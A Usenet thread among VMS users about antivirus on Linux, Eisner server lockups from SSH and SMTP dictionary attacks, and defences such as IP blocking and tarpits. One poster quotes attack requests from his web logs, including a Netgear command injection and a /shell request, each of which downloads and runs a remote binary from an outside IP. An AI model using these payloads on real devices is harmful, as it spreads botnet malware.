On 8/11/2023 7:59 PM, Arne Vajhøj wrote:
> Let us make a tiny poll:
>
> Please reply to:
>
> 1) Do you run Linux desktop?

Yes.

> 2) If yes - do you run AV software on it?

No.

> 3) Do you run Linux server?

Yes.

> 4) If yes - do you run AV software on it?

No.

Arne

On Friday, August 11, 2023 at 4:59:56 PM UTC-7, Arne Vajhøj wrote:
> Let us make a tiny poll:
>
> Please reply to:
>
> 1) Do you run Linux desktop?
Kind of. I now have Debian running in a virtual machine in a macos host. I've been using desktop Linux since 98. I switched full-time by 2003.
> 2) If yes - do you run AV software on it?
Using the definition at https://en.wikipedia.org/wiki/Malware
I'm saying no, other than what's built into the OS via stuff like AppArmor or nft. We can have pleasant discussions about whether or not a netfilter rule constitutes "AV sofware"
> 3) Do you run Linux server?
Yes, several
> 4) If yes - do you run AV software on it?
Yes. I use ossec as a "layered product" in addition to what's built into the OS. I also employ a WordPress plugin, "WordFence" for such tasks. One of these servers is a mailserver; which has specialized tools for malware detection; one of which I've disabled as it doesn't like a memory-constrained environment.
These are all Debian 12 servers.
I certainly wish it was VMS, such is the way of the world.

Make of this what you will,
jec

On 2023-08-11 19:35, Simon Clubley wrote:
> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
> times over the years due to various services locking up presumably due to
> attacks, I have little confidence that VMS in general would be robust
> within an actively hostile environment.

I think you are misinterpreting some data, as well as making some
assumptions that I don't think are correct.

By the way, I have an RSX system publicly on the internet, and it's
totally without firewalls, and on 24/7. Mainly to actually harden it.
But it's basically running stable without any issues since many years.

So much for "hostile environment" being such a big problem. (Although I
should admit that I don't have some of the fancy services that are easy
to exploit...)

Johnny

On Saturday, August 12, 2023 at 3:41:28 AM UTC-7, Johnny Billquist wrote:
> On 2023-08-11 19:35, Simon Clubley wrote:
> > Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
> > times over the years due to various services locking up presumably due to
> > attacks, I have little confidence that VMS in general would be robust
> > within an actively hostile environment.
> I think you are misinterpreting some data, as well as making some
> assumptions that I don't think are correct.
>
> By the way, I have an RSX system publicly on the internet, and it's
> totally without firewalls, and on 24/7. Mainly to actually harden it.
> But it's basically running stable without any issues since many years.
>
> So much for "hostile environment" being such a big problem. (Although I
> should admit that I don't have some of the fancy services that are easy
> to exploit...)
>
> Johnny

It's that last part that is quite important these days. It's all about services now, as communication is so important. So much of this security stuff was known by Digital, such knowledge has simply been left to rot.

On Thursday, August 10, 2023 at 2:35:43 AM UTC-7, John Dallman wrote:
> In article <0948a0e4-51d5-49c5...@googlegroups.com>,
> gx...@uk2.net (Ian Miller) wrote:
>
> > See OpenVMS FAQ 5.2 http://www.faqs.org/faqs/dec-faq/vms/part3/
> >
> > There have been a couple of scanners of windows files held on VMS
> > servers and there are various security products for OpenVMS.
> That FAQ is almost 18 years old. Is there no newer version?
>
> Also, some people will wrongly conclude that running on x86 makes VMS
> susceptible to the huge number of x86 Windows viruses.
>
> John

Running on x86_64 impacts the host more than the guest. A compromised host
means the guest's security is no longer trusted. This has little to do with Windows.

Your comment doesn't address the various way to run VMS on X86(_64) but that
does make a difference. For example, bare-metal ESXi is different than KVM or
QEMU or (oh whatever). The bugs of the host become fatal to the guest.

Ehud

In article <8f75654b-43c8-4694-9403-bdbb1cd2f838n@googlegroups.com>,
ehud.gavron@gmail.com (Ehud Gavron) wrote:

> > Also, some people will wrongly conclude that running on x86 makes
> > VMS susceptible to the huge number of x86 Windows viruses. > >

> Your comment doesn't address the various way to run VMS on X86(_64)
> but that does make a difference.

It certainly does not, because it's about mistakes likely to be made by
the ignorant, rather than details of the real situation.

John

On 2023-08-12 12:59, plugh wrote:
> On Saturday, August 12, 2023 at 3:41:28 AM UTC-7, Johnny Billquist wrote:
>> On 2023-08-11 19:35, Simon Clubley wrote:
>>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
>>> times over the years due to various services locking up presumably due to
>>> attacks, I have little confidence that VMS in general would be robust
>>> within an actively hostile environment.
>> I think you are misinterpreting some data, as well as making some
>> assumptions that I don't think are correct.
>>
>> By the way, I have an RSX system publicly on the internet, and it's
>> totally without firewalls, and on 24/7. Mainly to actually harden it.
>> But it's basically running stable without any issues since many years.
>>
>> So much for "hostile environment" being such a big problem. (Although I
>> should admit that I don't have some of the fancy services that are easy
>> to exploit...)
>>
>> Johnny
>
> It's that last part that is quite important these days. It's all about services now, as communication is so important. So much of this security stuff was known by Digital, such knowledge has simply been left to rot.

Oh. But it's not that I don't have any services... I do have some. But I
guess it's a combination of me really into writing services that ever
execute something passed in, with the assumption that it will look fine.
I completely abhor the REST paradigm. It's such a poor idea from the
start. (I don't start ranting about people who embrace it...)
The other part being that RSX is such an odd system to start with that
pretty close to nobody even cares to try and figure out how to actually
exploit anything. They are just running various scripts and tools that
tries to exploit usual, well known issues in various services.

It's actually a very good way of finding out what issues are the most
common ones. I get plenty of probes for things in wordpress for example.
So that one seems popular (and bad). Netgear seems to also have some
popular exploits. Then apparently just badly setup CGI stuff in general.

Examples:

.. GET /wp-login.php

(seems to be just lots of these probing if wordpress is running on the
host, so lots of variations on this one...)

.. GET
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http:/60.189.27.88:43788/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

(I think we can safely assume thatn 60.189.27.88 isn't an official site
of netgear configurations...)

.. GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws

(Do people really setup their web servers to have shell as a CGI???)

Those are just a few examples from just a couple of hours of logs on my
RSX machine...

Johnny

On 2023-08-11, Dave Froble <davef@tsoft-inc.com> wrote:
> On 8/11/2023 1:35 PM, Simon Clubley wrote:
>>
>> Linux is mainly a server operating system as is VMS.
>>
>> Many attacks occur through server-based components in addition to
>> client-based components.
>>
>> The difference is that Linux has various industry-standard protections,
>> including the third-party protections mentioned, that VMS does not.
>>
>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
>> times over the years due to various services locking up presumably due to
>> attacks, I have little confidence that VMS in general would be robust
>> within an actively hostile environment.
>>
>
> Ok, I'm not about to declare VMS "hack-proof". I doubt anything is.
>
> However, I'm going to call "bullshit" on Simon's statements.
>
> Having had VMS "lock up" in the past, not due to any attacks, Simon's snide
> commend about Eisner is just plain bullshit. Too many times I've seen "resource
> wait mode" that never recovers. Only a re-boot would clear the problem. Was
> that "an attack"?
>

If it's something that can be triggered by a non-privileged user, or even
worse, an unauthenticated user, then yes it absolutely most certainly is.

It's called a Denial of Service attack and those are _very_ much CVE
material.

Also, no server operating system, especially "the world's most secure
operating system" should be locking up due to resource wait conditions
the number of times that you imply above it is.

Now, about Eisner. My comments are _not_ snide, but based on what has
been going on over the last few years.

Every so often, Eisner's network services (including SSH) simply stop
working. Sometimes, basic stuff such as ICMP continues to work, but
anything involving process creation is utterly stuffed.

The now-standard routine is that one of us users posts on the Eisner
mailing list that Eisner is stuffed again, at which point VSI reboots it.

Eisner should be an absolutely golden opportunity for VSI to find issues
in a real world situation and then fix them in VMS so that VMS becomes
more robust for everyone. In Eisner, VSI is exposing to the real world
the operating system that VSI themselves are producing and selling.

Instead, Eisner has been locking up in the same way for years, so either
VSI can't find the external causes that's resulting in it locking up, or
it finds an issue, fixes it, but then another way of locking up VMS
comes along.

> None of Simon's "industry standard protections" protects against anything other
> than some (not all) attacks. I wish he'd stop insinuating that they solve all
> problems, and that there must be problems without them.
>

Stop lying about what I have said in this matter David.

I have never said they solve all problems, but just that they are extra
layers that need to be defeated. I have also said that without these
extra layers it's easier to compromise a system.

Simon.

--
Simon Clubley, clubley@remove_me.eisner.decus.org-Earth.UFP
Walking destinations on a map are further away than they appear.

On 2023-08-12, Johnny Billquist <bqt@softjar.se> wrote:
> On 2023-08-11 19:35, Simon Clubley wrote:
>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
>> times over the years due to various services locking up presumably due to
>> attacks, I have little confidence that VMS in general would be robust
>> within an actively hostile environment.
>
> I think you are misinterpreting some data, as well as making some
> assumptions that I don't think are correct.
>

Please see my reply to David with some more background.

This issue has been going on for years.

Simon.

--
Simon Clubley, clubley@remove_me.eisner.decus.org-Earth.UFP
Walking destinations on a map are further away than they appear.

On Monday, August 14, 2023 at 4:12:37 AM UTC-7, Johnny Billquist wrote:
> On 2023-08-12 12:59, plugh wrote:
> > On Saturday, August 12, 2023 at 3:41:28 AM UTC-7, Johnny Billquist wrote:
> >> On 2023-08-11 19:35, Simon Clubley wrote:
> >>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
> >>> times over the years due to various services locking up presumably due to
> >>> attacks, I have little confidence that VMS in general would be robust
> >>> within an actively hostile environment.
> >> I think you are misinterpreting some data, as well as making some
> >> assumptions that I don't think are correct.
> >>
> >> By the way, I have an RSX system publicly on the internet, and it's
> >> totally without firewalls, and on 24/7. Mainly to actually harden it.
> >> But it's basically running stable without any issues since many years.
> >>
> >> So much for "hostile environment" being such a big problem. (Although I
> >> should admit that I don't have some of the fancy services that are easy
> >> to exploit...)
> >>
> >> Johnny
> >
> > It's that last part that is quite important these days. It's all about services now, as communication is so important. So much of this security stuff was known by Digital, such knowledge has simply been left to rot.
> Oh. But it's not that I don't have any services... I do have some. But I
> guess it's a combination of me really into writing services that ever
> execute something passed in, with the assumption that it will look fine.
> I completely abhor the REST paradigm. It's such a poor idea from the
> start. (I don't start ranting about people who embrace it...)
> The other part being that RSX is such an odd system to start with that
> pretty close to nobody even cares to try and figure out how to actually
> exploit anything. They are just running various scripts and tools that
> tries to exploit usual, well known issues in various services.
>
> It's actually a very good way of finding out what issues are the most
> common ones. I get plenty of probes for things in wordpress for example.
> So that one seems popular (and bad). Netgear seems to also have some
> popular exploits. Then apparently just badly setup CGI stuff in general.
>
> Examples:
>
> . GET /wp-login.php
>
> (seems to be just lots of these probing if wordpress is running on the
> host, so lots of variations on this one...)
>
>
> . GET
> /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http:/60.189.27.88:43788/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
>
> (I think we can safely assume thatn 60.189.27.88 isn't an official site
> of netgear configurations...)
>
>
> . GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws
>
> (Do people really setup their web servers to have shell as a CGI???)
>
>
> Those are just a few examples from just a couple of hours of logs on my
> RSX machine...
>
> Johnny

How is RSX configured to respond to these requests? It's impressive how many of these requests can be stuffed into the pipeline from one IP.

I'm particularly impressed by attacks from soi-disant whitehats.

It was one of my first tests of generative AI: Translate the phrase “va fa culo” from Italian to at 10 different languages including Klingon, Esperanto, English. Include at least one rte language

As part of a "get off my servers" message to one of them. It's a nice form of extortion.

It doesn't seem much use to have these sorts of logs with an active response component. Certainly writing emails is fun, but it can accomplish only so much. Most of the WordPress stuff has to be blocked by packet filtering after so many of these attempts from the same address. Some of these clowns have to invest serious money to get blocks of IP addresses from which to launch these attacks. Yes, WordPress certainly has a big target on its back: "Interesting birthmark you got there, Hal"
I mean how many "get wplogin" requests do you allow before blocking that address? If the rsx system is just a honeypot, nevermind.

On 8/14/2023 8:39 AM, Simon Clubley wrote:
> On 2023-08-11, Dave Froble <davef@tsoft-inc.com> wrote:
>> On 8/11/2023 1:35 PM, Simon Clubley wrote:
>>>
>>> Linux is mainly a server operating system as is VMS.
>>>
>>> Many attacks occur through server-based components in addition to
>>> client-based components.
>>>
>>> The difference is that Linux has various industry-standard protections,
>>> including the third-party protections mentioned, that VMS does not.
>>>
>>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
>>> times over the years due to various services locking up presumably due to
>>> attacks, I have little confidence that VMS in general would be robust
>>> within an actively hostile environment.
>>>
>>
>> Ok, I'm not about to declare VMS "hack-proof". I doubt anything is.
>>
>> However, I'm going to call "bullshit" on Simon's statements.
>>
>> Having had VMS "lock up" in the past, not due to any attacks, Simon's snide
>> commend about Eisner is just plain bullshit. Too many times I've seen "resource
>> wait mode" that never recovers. Only a re-boot would clear the problem. Was
>> that "an attack"?
>>
>
> If it's something that can be triggered by a non-privileged user, or even
> worse, an unauthenticated user, then yes it absolutely most certainly is.

I'm not sure what causes that particular problem, nor am I aware if it is still
a problem. My only point was that not all issues are outside attacks.

It is NOT, as far as I know, triggered by a user.

> It's called a Denial of Service attack and those are _very_ much CVE
> material.
>
> Also, no server operating system, especially "the world's most secure
> operating system" should be locking up due to resource wait conditions
> the number of times that you imply above it is.

Not seen it for years. Only mentioned it as an example.

> Now, about Eisner. My comments are _not_ snide, but based on what has
> been going on over the last few years.
>
> Every so often, Eisner's network services (including SSH) simply stop
> working. Sometimes, basic stuff such as ICMP continues to work, but
> anything involving process creation is utterly stuffed.
>
> The now-standard routine is that one of us users posts on the Eisner
> mailing list that Eisner is stuffed again, at which point VSI reboots it.
>
> Eisner should be an absolutely golden opportunity for VSI to find issues
> in a real world situation and then fix them in VMS so that VMS becomes
> more robust for everyone. In Eisner, VSI is exposing to the real world
> the operating system that VSI themselves are producing and selling.
>
> Instead, Eisner has been locking up in the same way for years, so either
> VSI can't find the external causes that's resulting in it locking up, or
> it finds an issue, fixes it, but then another way of locking up VMS
> comes along.

Eisner, last I heard, runs on an Alpha DS20. Not a platform that VSI can spend
much or any time on. x86 is their future, at this time. So, yeah, I can
understand "just reboot the damn thing".

>> None of Simon's "industry standard protections" protects against anything other
>> than some (not all) attacks. I wish he'd stop insinuating that they solve all
>> problems, and that there must be problems without them.
>>
>
> Stop lying about what I have said in this matter David.

Lying? Maybe perception.

> I have never said they solve all problems, but just that they are extra
> layers that need to be defeated. I have also said that without these
> extra layers it's easier to compromise a system.

Well, it seems all you ever mention. And I'll agree, extra layers, whatever
they are, can be a good thing.

--
David Froble Tel: 724-529-0450
Dave Froble Enterprises, Inc. E-Mail: davef@tsoft-inc.com
DFE Ultralights, Inc.
170 Grimplin Road
Vanderbilt, PA 15486

On 2023-08-14, Dave Froble <davef@tsoft-inc.com> wrote:
> On 8/14/2023 8:39 AM, Simon Clubley wrote:
>> Now, about Eisner. My comments are _not_ snide, but based on what has
>> been going on over the last few years.
>>
>> Every so often, Eisner's network services (including SSH) simply stop
>> working. Sometimes, basic stuff such as ICMP continues to work, but
>> anything involving process creation is utterly stuffed.
>>
>> The now-standard routine is that one of us users posts on the Eisner
>> mailing list that Eisner is stuffed again, at which point VSI reboots it.
>>
>> Eisner should be an absolutely golden opportunity for VSI to find issues
>> in a real world situation and then fix them in VMS so that VMS becomes
>> more robust for everyone. In Eisner, VSI is exposing to the real world
>> the operating system that VSI themselves are producing and selling.
>>
>> Instead, Eisner has been locking up in the same way for years, so either
>> VSI can't find the external causes that's resulting in it locking up, or
>> it finds an issue, fixes it, but then another way of locking up VMS
>> comes along.
>
> Eisner, last I heard, runs on an Alpha DS20. Not a platform that VSI can spend
> much or any time on. x86 is their future, at this time. So, yeah, I can
> understand "just reboot the damn thing".
>

There's nothing here so far that even remotely suggests this is a hardware
issue.

Even ignoring that Alpha is a supported platform, discovering the root
cause is directly applicable to the behaviour of VMS on other architectures.

Simon.

--
Simon Clubley, clubley@remove_me.eisner.decus.org-Earth.UFP
Walking destinations on a map are further away than they appear.

On 8/14/2023 8:39 AM, Simon Clubley wrote:
>
> Every so often, Eisner's network services (including SSH) simply stop
> working. Sometimes, basic stuff such as ICMP continues to work, but
> anything involving process creation is utterly stuffed.

Lately, it's been a problem of EISNER seeing an unprecedented (per
EISNER's history) level of dictionary attacks via SSH and SMTP. I've had
to increase quotas for MultiNet's Intrusion Prevention Service process
to try to keep up with the events. Each time, I've thought, "Well, that
should be enough," and then the number of attacks grows, and it's not.

Something in all of that is eating up paged memory, and when the system
runs out of that, pretty much everything stops, and the system has to be
rebooted.

I thought EISNER was getting hit hard before the recent relocation, but
the number of SSH and SMTP connections trying bogus usernames or trying
to guess passwords has shot up dramatically since the relocation.
Apparently, EISNER's new IP address makes it a bigger target than the
previous address for some reason.

Over the past three days, over 21,000 IP address filters were
automatically created in response to the attempts. That's not the total
number of connections, just the connections that triggered IPS to create
a filter. While I was checking that number, I saw five more get created
in the 20 seconds I was looking.

If I could block certain countries, a lot of the problem would be
alleviated. But that doesn't really work for a system like EISNER, which
aims to be open to everyone.

So we learn, adjust, reboot, and repeat.

Oh, and since EISNER is no one's full-time job, that process is taking
longer than it might otherwise. I sometimes see that EISNER is not
answering before anyone else---but not always.

--
Hunter
------
Hunter Goatley, Process Software, http://www.process.com/
goathunter@goatley.com http://hunter.goatley.com/

On 2023-08-14 21:10:31 +0000, Hunter Goatley said:

> On 8/14/2023 8:39 AM, Simon Clubley wrote:
>>
>> Every so often, Eisner's network services (including SSH) simply stop
>> working. Sometimes, basic stuff such as ICMP continues to work, but
>> anything involving process creation is utterly stuffed.
>
> Lately, it's been a problem of EISNER seeing an unprecedented (per
> EISNER's history) level of dictionary attacks via SSH and SMTP. I've
> had to increase quotas for MultiNet's Intrusion Prevention Service
> process to try to keep up with the events. Each time, I've thought,
> "Well, that should be enough," and then the number of attacks grows,
> and it's not.

Put a three or so second delay ahead of each ssh connection prior to
the password processing, and put a five or ten second delay after a
failed password, and then a delay again before dropping the connection
when disconnecting from a failed login.

Make the delays adjustable via configuration file or via (gag) logical
names or such, if following OpenVMS app configuration UI norms. I've
met a few of these that build the delay within the text shown while
stalling, so the characters will dribble back to the originating host.

Adding support for fail2ban into ssh would be a nice addition if not
already present, but adding it is probably more work than adding
delays, and less able to handle botnet brute-force and DDoS shenanigans.

Allowing the delays to be region or country specific is another
longer-term option, if there are lots of problems in some regions and
some blocks, and fewer in others.

Basically, adding greylisting, and tarpit support.

> Something in all of that is eating up paged memory, and when the system
> runs out of that, pretty much everything stops, and the system has to
> be rebooted.

That's usually either a resource leak, or resource exhaustion when
things get too busy and all this as you are well aware, of course.

> I thought EISNER was getting hit hard before the recent relocation, but
> the number of SSH and SMTP connections trying bogus usernames or trying
> to guess passwords has shot up dramatically since the relocation.
> Apparently, EISNER's new IP address makes it a bigger target than the
> previous address for some reason.

The mail server should probably check the incoming mail server
connection DNS for DANE or SPF or such, and force incoming connections
to STARTTLS, and quite possibly add an RBL check.

This does block user connections via TCP port 25, but that's normal for
most mail providers.

There are a half-dozen or so settings in POSTFIX related to this
anti-spam and related processing that can really slow the malicious
traffic. (I'd expect OpenSMTPd has some similarities, but haven't had
the opportunity to implement that in production.)

> Over the past three days, over 21,000 IP address filters were
> automatically created in response to the attempts. That's not the total
> number of connections, just the connections that triggered IPS to
> create a filter. While I was checking that number, I saw five more get
> created in the 20 seconds I was looking.
>
> If I could block certain countries, a lot of the problem would be
> alleviated. But that doesn't really work for a system like EISNER,
> which aims to be open to everyone.
>
> So we learn, adjust, reboot, and repeat.
>
> Oh, and since EISNER is no one's full-time job, that process is taking
> longer than it might otherwise. I sometimes see that EISNER is not
> answering before anyone else---but not always.

Another option I've used—may or may not be an option here, and that for
various reasons—is to relay incoming and outgoing messages via whatever
mail server VSI is using, depending on the anti-spam and related
capabilities of the VSI mail server. (Yeah, my suggestion around all of
this reply including using relay is probably impolitic here, and, yeah,
VSI might not want to "share" their mail server.)

--
Pure Personal Opinion | HoffmanLabs LLC

On 2023-08-14 16:11, plugh wrote:
> On Monday, August 14, 2023 at 4:12:37 AM UTC-7, Johnny Billquist wrote:
>> Examples:
>>
>> . GET /wp-login.php
>>
>> (seems to be just lots of these probing if wordpress is running on the
>> host, so lots of variations on this one...)
>>
>>
>> . GET
>> /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http:/60.189.27.88:43788/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
>>
>> (I think we can safely assume thatn 60.189.27.88 isn't an official site
>> of netgear configurations...)
>>
>>
>> . GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws
>>
>> (Do people really setup their web servers to have shell as a CGI???)
>>
>>
>> Those are just a few examples from just a couple of hours of logs on my
>> RSX machine...
>>
>> Johnny
>
> How is RSX configured to respond to these requests? It's impressive how many of these requests can be stuffed into the pipeline from one IP.

Most if that stuff simply generates 404, since there is no such URI that
is valid in my system. (Why would I even set it up to accept something
to /wp-login.php". I don't even have PHP under RSX...)

> I'm particularly impressed by attacks from soi-disant whitehats.
>
> It was one of my first tests of generative AI: Translate the phrase “va fa culo” from Italian to at 10 different languages including Klingon, Esperanto, English. Include at least one rte language
>
> As part of a "get off my servers" message to one of them. It's a nice form of extortion.

:-)

> It doesn't seem much use to have these sorts of logs with an active response component. Certainly writing emails is fun, but it can accomplish only so much. Most of the WordPress stuff has to be blocked by packet filtering after so many of these attempts from the same address. Some of these clowns have to invest serious money to get blocks of IP addresses from which to launch these attacks. Yes, WordPress certainly has a big target on its back: "Interesting birthmark you got there, Hal"
> I mean how many "get wplogin" requests do you allow before blocking that address? If the rsx system is just a honeypot, nevermind.

It's not a honeypot. My RSX systems are doing legit stuff.
I log every request over http, just as I log all sessions talking to
SMTP, FTP, and other bits. That system serves on average about 0.5G of
useful data per day. Which is not bad for a PDP-11 system... (A lot of
it is web crawlers, though, like Google.)

I don't in general filter anything. I see this as the most excellent
testing setup to figure and fix any problems I can spot. The more abuse,
the better the system becomes. It's now at a point where I can't really
remember when I last had some serious problem.

However, yes, there is a "defence" mechanism. If the system detects a
lot of "bad" traffic from an address, it will eventually get blocked,
and the block will only drop once there is no traffic from that address
for a certain amount of time. And of course, if they start abusing
again, they will get blocked again.

Johnny

> [...] dictionary attacks via SSH [...]

Don't listen at port 22? Since I stopped port-forwarding port 22, I
see approximately none of these. I don't see adding "-p xxxx" to a
command as a hardship.

If you want strangers to use it, then you would need to publish the
actual port number someplace, of course, but I would expect the robots
not to read much.

On 15/8/2023 6:40 am, Hunter Goatley wrote:
> On 8/14/2023 8:39 AM, Simon Clubley wrote:
>>
>> Every so often, Eisner's network services (including SSH) simply stop
>> working. Sometimes, basic stuff such as ICMP continues to work, but
>> anything involving process creation is utterly stuffed.
>
> Lately, it's been a problem of EISNER seeing an unprecedented (per
> EISNER's history) level of dictionary attacks via SSH and SMTP. I've had
> to increase quotas for MultiNet's Intrusion Prevention Service process
> to try to keep up with the events. Each time, I've thought, "Well, that
> should be enough," and then the number of attacks grows, and it's not.
>
> Something in all of that is eating up paged memory, and when the system
> runs out of that, pretty much everything stops, and the system has to be
> rebooted.
>
> I thought EISNER was getting hit hard before the recent relocation, but
> the number of SSH and SMTP connections trying bogus usernames or trying
> to guess passwords has shot up dramatically since the relocation.
> Apparently, EISNER's new IP address makes it a bigger target than the
> previous address for some reason.
>
> Over the past three days, over 21,000 IP address filters were
> automatically created in response to the attempts. That's not the total
> number of connections, just the connections that triggered IPS to create
> a filter. While I was checking that number, I saw five more get created
> in the 20 seconds I was looking.
>
> If I could block certain countries, a lot of the problem would be
> alleviated. But that doesn't really work for a system like EISNER, which
> aims to be open to everyone.

VSM was plagued by similar issues with lots of similar attempts.

A filter added to WASD rejection list immediately drops connections from
IPs / domains listed.

|46.148.32.0-46.148.47.255
|*.ir

Once added it took two or three weeks before connections in the range
46.148.32.0-46.148.47.255 (Iranian IP space) ceased completely.

Problem (largely) solved (for this case).

PS. VSM gateways incoming/outgoing mail through WASD (TLS wrapper).
More fraught (but not impossible) with SSH.
But introduces one more dependency - WASD.

> So we learn, adjust, reboot, and repeat.
>
> Oh, and since EISNER is no one's full-time job, that process is taking
> longer than it might otherwise. I sometimes see that EISNER is not
> answering before anyone else---but not always.

--
Anyone, who using social-media, forms an opinion regarding anything
other than the relative cuteness of this or that puppy-dog, needs
seriously to examine their critical thinking.

On 8/14/2023 7:04 PM, Johnny Billquist wrote:
>
> However, yes, there is a "defence" mechanism. If the system detects a
> lot of "bad" traffic from an address, it will eventually get blocked,
> and the block will only drop once there is no traffic from that address
> for a certain amount of time. And of course, if they start abusing
> again, they will get blocked again.

Why would you ever unblock it?

bill

On 8/14/2023 10:10 PM, bill wrote:
> On 8/14/2023 7:04 PM, Johnny Billquist wrote:
>>
>> However, yes, there is a "defence" mechanism. If the system detects a lot of
>> "bad" traffic from an address, it will eventually get blocked, and the block
>> will only drop once there is no traffic from that address for a certain amount
>> of time. And of course, if they start abusing again, they will get blocked again.
>
> Why would you ever unblock it?
>
> bill
>
>

One of the major problems, at least in my mind, of blocking is that there may
come a time when traffic from some source might be something you actually want
to receive. Doubtful? Likely. But, never say never.

I think Johnny's practice is great, block when necessary, but, leave your
options open. Like he writes, when needed to block, it happens.

Almost thinking about asking for his design ... maybe not, I've grown lazy.

--
David Froble Tel: 724-529-0450
Dave Froble Enterprises, Inc. E-Mail: davef@tsoft-inc.com
DFE Ultralights, Inc.
170 Grimplin Road
Vanderbilt, PA 15486

Take a look at Spamhaus' DROPlist.
It's two lists of CIDRs taken over by.... well.... read the blurb yourself.
They are refreshed in my router's blocking rulesets on a regular basis and, at least according to logs, have cut down the number of would-be attacks,
especially what look like brute-force type, by about 60%

K

On Tuesday, August 15, 2023 at 4:04:27 AM UTC+1, Dave Froble wrote:
> On 8/14/2023 10:10 PM, bill wrote:
> > On 8/14/2023 7:04 PM, Johnny Billquist wrote:
> >>
> >> However, yes, there is a "defence" mechanism. If the system detects a lot of
> >> "bad" traffic from an address, it will eventually get blocked, and the block
> >> will only drop once there is no traffic from that address for a certain amount
> >> of time. And of course, if they start abusing again, they will get blocked again.
> >
> > Why would you ever unblock it?
> >
> > bill
> >
> >
> One of the major problems, at least in my mind, of blocking is that there may
> come a time when traffic from some source might be something you actually want
> to receive. Doubtful? Likely. But, never say never.
>
> I think Johnny's practice is great, block when necessary, but, leave your
> options open. Like he writes, when needed to block, it happens.
>
> Almost thinking about asking for his design ... maybe not, I've grown lazy.
> --
> David Froble Tel: 724-529-0450
> Dave Froble Enterprises, Inc. E-Mail: da...@tsoft-inc.com
> DFE Ultralights, Inc.
> 170 Grimplin Road
> Vanderbilt, PA 15486

On Thu, 1970-01-01 at 00:00 +0000, bill wrote:
> > However, yes, there is a "defence" mechanism. If the system detects
> > a lot of "bad" traffic from an address, it will eventually get
> > blocked, and the block will only drop once there is no traffic from
> > that address for a certain amount of time. And of course, if they
> > start abusing again, they will get blocked again.
>
> Why would you ever unblock it?

Many people are on dynamic IPs. These can change often. So unblocking
after a set period lets legitimate visitors successfully access the
site.
--
Tactical Nuclear Kittens

On 2023-08-14 11:12:32 +0000, Johnny Billquist said:

> On 2023-08-12 12:59, plugh wrote:
>> On Saturday, August 12, 2023 at 3:41:28 AM UTC-7, Johnny Billquist wrote:
>>> On 2023-08-11 19:35, Simon Clubley wrote:
>>>> Oh, and BTW, judging by the fact Eisner has needed to be rebooted multiple
>>>> times over the years due to various services locking up presumably due to
>>>> attacks, I have little confidence that VMS in general would be robust
>>>> within an actively hostile environment.
>>> I think you are misinterpreting some data, as well as making some
>>> assumptions that I don't think are correct.
>>>
>>> By the way, I have an RSX system publicly on the internet, and it's
>>> totally without firewalls, and on 24/7. Mainly to actually harden it.
>>> But it's basically running stable without any issues since many years.
>>>
>>> So much for "hostile environment" being such a big problem. (Although I
>>> should admit that I don't have some of the fancy services that are easy
>>> to exploit...)
>>>
>>> Johnny
>>
>> It's that last part that is quite important these days. It's all about
>> services now, as communication is so important. So much of this
>> security stuff was known by Digital, such knowledge has simply been
>> left to rot.
>
> Oh. But it's not that I don't have any services... I do have some. But
> I guess it's a combination of me really into writing services that ever
> execute something passed in, with the assumption that it will look
> fine. I completely abhor the REST paradigm. It's such a poor idea from
> the start. (I don't start ranting about people who embrace it...)
> The other part being that RSX is such an odd system to start with that
> pretty close to nobody even cares to try and figure out how to actually
> exploit anything. They are just running various scripts and tools that
> tries to exploit usual, well known issues in various services.
>
> It's actually a very good way of finding out what issues are the most
> common ones. I get plenty of probes for things in wordpress for
> example. So that one seems popular (and bad). Netgear seems to also
> have some popular exploits. Then apparently just badly setup CGI stuff
> in general.
>
> Examples:
>
> . GET /wp-login.php
>
> (seems to be just lots of these probing if wordpress is running on the
> host, so lots of variations on this one...)

ERROR 404
We're sorry but it looks like you're lost.
The requested paged does not exist.

On 2023-08-15 04:10, bill wrote:
> On 8/14/2023 7:04 PM, Johnny Billquist wrote:
>>
>> However, yes, there is a "defence" mechanism. If the system detects a
>> lot of "bad" traffic from an address, it will eventually get blocked,
>> and the block will only drop once there is no traffic from that
>> address for a certain amount of time. And of course, if they start
>> abusing again, they will get blocked again.
>
> Why would you ever unblock it?

Because I'm nice?
Because sometimes these are dynamically allocated addresses, and at a
later time, it might from someone completely different that I don't want
to block.

Like I said - I'm serving a lot of legit content, and aim to try and be
useful to everyone.

Johnny

On 2023-08-15 05:04, Dave Froble wrote:
> On 8/14/2023 10:10 PM, bill wrote:
>> On 8/14/2023 7:04 PM, Johnny Billquist wrote:
>>>
>>> However, yes, there is a "defence" mechanism. If the system detects a
>>> lot of
>>> "bad" traffic from an address, it will eventually get blocked, and
>>> the block
>>> will only drop once there is no traffic from that address for a
>>> certain amount
>>> of time. And of course, if they start abusing again, they will get
>>> blocked again.
>>
>> Why would you ever unblock it?
>>
>> bill
>>
>>
>
> One of the major problems, at least in my mind, of blocking is that
> there may come a time when traffic from some source might be something
> you actually want to receive.  Doubtful?  Likely.  But, never say never.

Unlikely, yes. But even unlikely, it does happen, I bet.

> I think Johnny's practice is great, block when necessary, but, leave
> your options open.  Like he writes, when needed to block, it happens.
>
> Almost thinking about asking for his design ...  maybe not, I've grown
> lazy.

It probably wouldn't be easy to adopt to anywhere else. I have hooks all
over both IP, UDP, ICMP, TCP and various daemons which all report
potential abuse to my abuse tracker...

It helps when you write the whole network stack yourself... ;-)

